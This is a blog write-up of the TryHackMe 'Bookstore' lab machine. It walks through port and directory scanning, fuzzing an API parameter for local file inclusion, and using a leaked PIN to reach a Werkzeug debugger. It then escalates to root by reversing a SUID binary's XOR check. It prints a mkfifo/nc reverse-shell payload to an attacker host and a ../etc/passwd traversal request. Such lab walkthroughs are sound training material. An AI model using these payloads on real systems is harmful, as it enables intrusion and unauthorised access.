Post

TryHackMe - Bookstore

TryHackMe - Bookstore

https://tryhackme.com/room/bookstoreoc

Book store is a medium rated machine on TryHackMe that involves doing some basic web enumeration, fuzzing the REST API to find a parameter that is vulnerable to Local File Inclusion allowing us to retrieve the PIN for the Werkzeug console leading code execution on the system. The privesc is done by finding the try-harder binary which takes an integer as an input which is XOR’d with 2 other integers and spawn’s a shell if the input integer matches.

Enumeration

NMAP

Doing a TCP NMAP scan reveals the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs5RybjdxaxapwkXwbzqZqONeX4X8rYtfTsy7wey7ZeRNsl36qQWhTrurBWWnYPO7wn2nEQ7Iz0+tmvSI3hms3eIEufCC/2FEftezKhtP1s4/qjp8UmRdaewMW2zYg+UDmn9QYmRfbBH80CLQvBwlsibEi3aLvhi/YrNCzL5yxMFQNWHIEMIry/FK1aSbMj7DEXTRnk5R3CYg3/OX1k3ssy7GlXAcvt5QyfmQQKfwpOG7UM9M8mXDCMiTGlvgx6dJkbG0XI81ho2yMlcDEZ/AsXaDPAKbH+RW5FsC5R1ft9PhRnaIkUoPwCLKl8Tp6YFSPcANVFYwTxtdUReU3QaF9
|   256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCbhAKUo1OeBOX5j9stuJkgBBmhTJ+zWZIRZyNDaSCxG6U817W85c9TV1oWw/A0TosCyr73Mn73BiyGAxis6lNQ=
|   256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAr3xDLg8D5BpJSRh8OgBRPhvxNSPERedYUTJkjDs/jc
80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 834559878C5590337027E6EB7D966AEE
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
5000/tcp open  http    syn-ack ttl 61 Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-methods: 
|_  Supported Methods: HEAD GET OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/api </p> 
|_http-title: Home

We have the following observations:

  • Port 80 is open
  • Port 22 is open
  • Port 5000 is open with an /api entry in the robots.txt file and is running a python web server?.

Directory scanning

I used feroxbuster to find the files on the website.

epi052/feroxbuster

Port 80

1
2
3
4
200       6452 http://10.10.188.179/index.html
301        319 http://10.10.188.179/javascript
200       2940 http://10.10.188.179/books.html
301        315 http://10.10.188.179/images

Port 5000

1
2
200        825 http://10.10.188.179:5000/api
200       1985 http://10.10.188.179:5000/console

Web Enumeration

Port 80

Checking the login.html file reveals the following message in the comments of the source.

1
<!--Still Working on this page will add the backend support soon, also the debugger pin is inside sid's bash history file -->

Looks we are most likely looking for an LFI vulnerability to read the /home/sid/.bash_history file which contains the PIN we can use to gain acess to the Werkzeug debugger on port 5000.

Checking the books.html file reveals the following message in the source:

1
<!--GY4CANZUEA3TIIBXGAQDOMZAGNQSAMTGEAZGMIBXG4QDONZAG43SAMTFEA3TSIBWMYQDONJAG42CANZVEA3DEIBWGUQDEZJAGYZSANTGEA3GIIBSMYQDONZAGYYSANZUEA3DGIBWHAQDGZRAG43CAM3EEA2TIIBXGQQDGNZAGYZCAN3BEA3TQIBXGUQDOMRAGRQSAMZREA2DS=== -->

That after being base32 decoded gives a hex string which on being decoded… well gives a youtube link. Find out for yourself

CyberChef

😤

Admittedly I did fall for it haha.

Further checking the source reveals a the assets/js/api.js file being called which contains the following comment:

1
//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.

This is very interesting as there was probably a v1 of the API most likely running on the port 5000 and has a parameter that can be fuzzed for an LFI.

Port 5000

Checking the /console endpoint reveals a Werkzeug debugger and the PIN for that is available in the bash_history as found earlier.

Checking the /api endpoint reveals the following message:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
**API Documentation
Since every good API has a documentation we have one as well!
The various routes this API currently provides are:**

/api/v2/resources/books/all (Retrieve all books and get the output in a json format)

/api/v2/resources/books/random4 (Retrieve 4 random records)

/api/v2/resources/books?id=1(Search by a specific parameter , id parameter)

/api/v2/resources/books?author=J.K. Rowling (Search by a specific parameter, this query will return all the books with author=J.K. Rowling)

/api/v2/resources/books?published=1993 (This query will return all the books published in the year 1993)

/api/v2/resources/books?author=J.K. Rowling&published=2003 (Search by a combination of 2 or more parameters)

Now we have the following information:

  • There is a PIN in sid’s bash history file.
  • There is a parameter most in the /api/v1/resources/books endpoint which is vulnerable to LFI.

Awesome, now all that is left to do is just FUZZ.

I used ffuf for this and used the following command.

1
fuff -u 'http://10.10.1.152:5000/api/v1/resources/books?PARAM=../../../../../../../etc/passwd' -w /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt:PARAM

We get a hit on the show parameter and checking the bash history gives us the PIN.

After typing in the PIN we get access to the python console from where we can spawn a shell using the following payload.

1
2
import os
os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker ip> 1337 >/tmp/f")

Now we have a shell as sid.

Privilege Escalation

Looking at the contents of the home directory reveals a interesting try-harder binary with a SUID bit set.

Transferring the binary over to my kali machine and taking a look at it in ghidra reveals the following.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void main(void) 
{
  long in_FS_OFFSET;
  uint user_input;
  uint local_18;
  uint local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setuid(0);
  local_18 = 0x5db3;
  puts("What\'s The Magic Number?!");
  __isoc99_scanf(&DAT_001008ee,&user_input);
  local_14 = user_input ^ 0x1116 ^ local_18;
  if (local_14 == 0x5dcd21f4) {
    system("/bin/bash -p");
  }
  else {
    puts("Incorrect Try Harder");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

All this binary does is check if the integer that the user enters XOR’d with 0x1116 and 0x5db3 is equal to 0x5dcd21f4.

The way XOR works is if you XOR a = x ^ y ^ z is the same as y = a ^ x ^ z

We have the a which is 0x5dcd21f4 which is being compared to local_14, x which is 0x1116 , and z which is 0x5db3

1
2
3
4
5
6
root:book-store/ # python3
Python 3.8.6 (default, Sep 25 2020, 09:36:53) 
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x5dcd21f4 ^ 0x1116 ^ 0x5db3
1573743953

Running the binary and passing in that number gives us a shell as root.

1
2
3
4
sid@bookstore:~$ ./try-harder
What's The Magic Number?!
1573743953
root@bookstore:~#
This post is licensed under CC BY 4.0 by the author.